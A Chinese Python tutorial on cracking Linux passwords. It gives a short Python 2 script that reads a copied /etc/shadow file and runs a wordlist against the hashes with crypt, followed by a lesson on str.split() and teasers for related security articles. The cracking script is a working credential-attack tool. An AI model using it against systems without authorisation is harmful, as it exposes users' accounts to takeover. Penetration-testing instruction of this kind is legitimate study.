python渗透测试linux密码激活的示例

上篇文章给大家介绍过 Python脚本破解Linux口令(crypt模块)  感兴趣的朋友点击查看。

linux密码破解

这段代码通过分别读取两个文件,一个为加密口令文件(cryptPass),另一个为用于猜测的字典文件(key.txt)。
在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,加密时需要一个明文密码以及两个字节salt(加密口令的前两个字母),通过salt和明文密码加密形成 cryptWord。
最后将cryptWord和cryptPass进行对比,如果相等,则这个word就是该用户的密码,否则不是。

先看crypt的示例

可以看到盐是添加在密文的前两位的,所以将加密口令的前两位提取出来为salt即可。

在Linux系统中,用户的密码被加密存储在了 /etc/shadow 文件中
如下是 /etc/shadow中root用户的字段

密码部分的格式为:$id$salt$encrypted
id是指用的哈希算法,id为1是MD5,id为5是SHA-256,id为6是SHA-512
salt 为盐值
encrypted 为hash值,这里的hash值是密码和盐值一起加密之后得到的

编程之前准备:
1、创建密码字典key.txt 。
2、我们将 /etc/shadow 文件复制到python脚本所在目录,修改文件名为 shadow.txt

import crypt   ##导入Linux口令加密库
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##获得盐值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)      ##将密码字典中的值和盐值一起加密
        if (cryptWord==cryptPass):           ##判断加密后的数据和密码字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等则打印出来
            return
    print "[-] Password Not Found.\n"
    return 

def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##读取文件中的所有内容
        if ":" in line:
            user=line.split(":")[0]                     ##获得用户名
            cryptPass=line.split(":")[1].strip(' ')   ##获得密码字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

参考文章
相关知识
1、split()方法以及关于str.split()[0]等形式内容的详细讲解

str.split(str="", num=string.count(str)).

参数:
str :分隔符,默认为所有的空字符,包括空格、换行(\n)、制表符(\t)等。
num : 分割次数。默认为 -1, 即分隔所有。
返回值:
Python split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串,返回分割后的字符串列表。
代码示例:

输入
str = "Line1-abcdef \nLine2-abc \nLine4-abcd";
print str.split( );          # 以空格为分隔符,包含 \n
print str.split(' ', 1 );    # 以空格为分隔符,分隔成两个
输出
['Line1-abcdef', 'Line2-abc', 'Line4-abcd']
['Line1-abcdef', '\nLine2-abc \nLine4-abcd']

2、关于str.split()[0]等形式内容的详细讲解

•输入与输出
>>> str="hello boy<[www.doiido.com]>byebye"
>>> str.split("[")[1].split("]")[0]
'www.doiido.com'
>>> str.split("[")[1].split("]")[0].split(".")
['www', 'doiido', 'com']

解析:
str.split("[")[1]. split("]")[0]输出的是 [ 后的内容以及 ] 前的内容。 str.split("[")[1]. split("]")[0]. split(".") 是先输出 [ 后的内容以及 ] 前的内容,然后通过 . 作为分隔符对字符串进行切片。
下面再对上面的例子进一步操作加深理解:

str="hello boy<[www.doiido.com]>byebye"
str.split("o")[0]

得到:‘hell'

str="hello boy<[www.doiido.com]>byebye"
str.split("o")[1]

得到:' b'(这里b的前面有个空格!)

str="hello boy<[www.doiido.com]>byebye"
str.split("o")[3]

得到:‘iid'(这里得到的iid是第3个o后和第4个o前之间的内容)

str="hello boy<[www.doiido.com]>byebye"
str.split("[")[0]

得到:‘hello boy<'(这里得到的hello boy<是第一个[之前的内容)
解析:
str.split(“o”)[0]得到的是第一个o之前的内容
str.split(“o”)[1]得到的是第一个o和第二个o之间的内容
str.split(“o”)[3]得到的是第三个o后和第四个o前之间的内容
str.split("[")[0]得到的是第一个 [ 之前的内容
[n] 取值范围(n,n+1)
注意:[ ]内的数值必须小于等于split("")内分隔符的个数,否则会报错

3、补充

str="hello boy<[www.doiido.com]>byebye"
str.split("o")[0:2]
得到的结果:
['hell', ' b']

解析:
str.split(“o”)[0:2]得到的是第一个o之前的内容 + 第一个o和第二个o之间的内容,这里第三个o前内容取不到,是一个左闭右开区间。
[n:m]取值范围(n,n+1)^(n+1,m)
引申:

str="hello boy<[www.doiido.com]>byebye"
print(str.split("o")[0:-1])
print(str.split("o")[0:-2])
print(str.split("o")[0:-3])
运行结果:
['hell', ' b', 'y<[www.d', 'iid', '.c']
['hell', ' b', 'y<[www.d', 'iid']
['hell', ' b', 'y<[www.d']

`str.split("o")[1:3]`取得的结果为
[' b', 'y<[www.d']

注:注意空格!注意空格!注意空格!

以上就是python渗透测试linux密码激活的示例的详细内容,更多关于python渗透测试linux密码破解的资料请关注我们其它相关文章!

(0)

相关推荐

  • 网站渗透常用Python小脚本查询同ip网站

    旁站查询来源: http://dns.aizhan.com http://s.tool.chinaz.com/same http://i.links.cn/sameip/ http://www.ip2hosts.com/ 效果图如下: 以百度网站和小残博客为例: PS:直接调用以上4个旁注接口查询同服服务器域名信息包含服务器类型 比如小残博客使用的是Tengine #!/usr/bin/env python #encoding: utf-8 import re import sys import

  • python实现linux服务器批量修改密码并生成execl

    批量修改linux服务器密码,同时生成execl表格 复制代码 代码如下: #!/usr/bin/env python#coding:utf8#随机生成自定义长度密码from random import choiceimport string,pickle def GenPassword(length=8,chars=string.ascii_letters+string.digits):    return ''.join([choice(chars) for i in range(lengt

  • python渗透测试linux密码激活的示例

    上篇文章给大家介绍过 Python脚本破解Linux口令(crypt模块)  感兴趣的朋友点击查看. linux密码破解 这段代码通过分别读取两个文件,一个为加密口令文件(cryptPass),另一个为用于猜测的字典文件(key.txt). 在testPass()函数中读取字典文件,并通过crypt.crypt()进行加密,加密时需要一个明文密码以及两个字节salt(加密口令的前两个字母),通过salt和明文密码加密形成 cryptWord. 最后将cryptWord和cryptPass进行对比

  • python实现三次密码验证的示例

    需求:Python实现三次密码验证,每次验证结果需要提示,三次验证不通过需要单独提示 代码如下: user = '张无忌' password = '12345678' confirm_flag = True for i in range(0, 3): user_input = input('user:') password_input = input('password:') if user_input == user and password_input == password: print(

  • 如何使用Python多线程测试并发漏洞

    这篇文章主要介绍了如何使用Python多线程测试并发漏洞,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 需求介绍 有时候想看看Web应用在代码或者数据库层有没有加锁,比如在一些支付.兑换类的场景,通过多线程并发访问的测试方式可以得到一个结论. 步骤 1. Burp Suite安装插件 安装一个Copy As Python-Requests插件,提高编码效率: 2. 拦截包并拷贝发包的代码 打开一个文本编辑器,右键粘贴出来: import req

  • python批量修改交换机密码的示例

    1.通过pip安装python第三方模块paramiko pip install paramiko 2.创建脚本 ##导入paramiko.time.getpass模块 #!/usr/bin/python import paramiko import time import getpass ##通过raw_input()函数获取用户输入的SSH用户名并赋值给username username = raw_input('Username:') ##通过getpass模块中的getpass()函数获

  • python实现sm2和sm4国密(国家商用密码)算法的示例

    GMSSL模块介绍 GmSSL是一个开源的加密包的python实现,支持SM2/SM3/SM4等国密(国家商用密码)算法.项目采用对商业应用友好的类BSD开源许可证,开源且可以用于闭源的商业应用. 安装模块 pip install gmssl https://github.com/duanhongyi/gmssl/blob/master/README.md官方文档 SM2算法 RSA算法的危机在于其存在亚指数算法,对ECC算法而言一般没有亚指数攻击算法 SM2椭圆曲线公钥密码算法:我国自主知识产

  • python mock测试的示例

    mock总所周知是模拟的意思,我们在做接口测试的时候有时候会发现部分功能依赖其他业务场景或者第三方功能或者是线上数据或者业务场景过于复杂(需要大量调用)的情况,没有办法通过接口调用或者做断言,这个时候就需要mock了 python2中需要pip install mock来导入mock第三方模块,而python3中被引入到unittest框架中,直接from unittest import mock 就可以导入mock模块了 在单元测试中只针对当前单元做测试,就是测试当前方法或者是当前类,但是如果

  • python实现希尔密码加密的示例代码

    目录 原理 实现 原理 希尔密码是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明. 每个字母当作26进制数字:A=0, B=1, C=2- 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果模26.(注意用作加密的矩阵(即密匙)在 必须是可逆的,否则就不可能解码.只有矩阵的行列式和26互质,才是可逆的.) 实现 希尔密码是运用基本矩阵论原理的替换密码,使用一个m*m的矩阵作为密钥,此矩阵必须可逆,解密使用逆矩阵解密. 加密: 密文向量 = 密钥矩阵 * 明

  • python实现凯撒密码加密解密的示例代码

    凯撒加密就是通过将字母移动一定的位数来实现加密和解密.明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移,被替换成密文.例如,当偏移量是2的时候,所有的字母B将被替换成D,C变成E,以此类推Y将变成A,Z变成B.由此可见,偏移量就是凯撒密码加密和解密的密钥. 下面使用python代码来实现凯瑟密码的加密解密. import string def kaisa_jiami(s,k):     lower=string.ascii_lowercase#小写英文字母     upper=

  • 使用python远程操作linux过程解析

    这篇文章主要介绍了使用python远程操作linux过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 在云服务测试中,往往需要我们进入云服务内容进行相关内容的测试.这测试可以使用平台自身的noVNC.外部辅助xshell等工具连接到云服务内部进行测试. 但是在如此反复的测试操作中,就需要用到自动化测试方法去解决这方面的需求. 在python中我们可以通过第三方库paramiko,对linux的云服务器进行操作. 如下命令先行安装 pip

  • 使用Python防止SQL注入攻击的实现示例

    文章背景 每隔几年,开放式Web应用程序安全项目就会对最关键的Web应用程序安全风险进行排名.自第一次报告以来,注入风险高居其位!在所有注入类型中,SQL注入是最常见的攻击手段之一,而且是最危险的.由于Python是世界上最流行的编程语言之一,因此了解如何防止Python SQL注入对于我们来说还是比较重要的 那么在写这篇文章的时候我也是查询了国内外很多资料,最后带着问题去完善总结: 什么是Python SQL注入以及如何防止注入 如何使用文字和标识符作为参数组合查询 如何安全地执行数据库中的查

随机推荐